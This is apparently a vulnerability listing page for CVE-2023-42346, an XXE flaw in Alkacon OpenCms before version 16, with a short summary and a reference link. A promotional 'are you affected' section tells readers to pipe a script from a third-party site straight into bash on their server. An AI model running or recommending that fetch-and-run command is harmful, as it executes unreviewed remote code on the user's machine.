NVD · CVE-2023-42346

CVE-2023-42346

Published: Fri, 08 May 2026 05:16

CVE-2023-42346

Summary

Alkacon OpenCms before 16 allows XXE when the <!DOCTYPE> refers to an external host.

Are YOU affected by CVE-2023-42346?

5-second check on your actual server. Reads /etc/os-release, uname -r, and dpkg-query; matches against the live USN + Debian Security Tracker feeds; tells you whether CVE-2023-42346 (and any other live CVE) applies. Anonymous, no signup.

curl https://mindsparkstack.com/scan.sh | bash

Form-based quickscan Read the bash source first

References

https://labs.watchtowr.com/xxe-you-can-depend-on-me-opencms/

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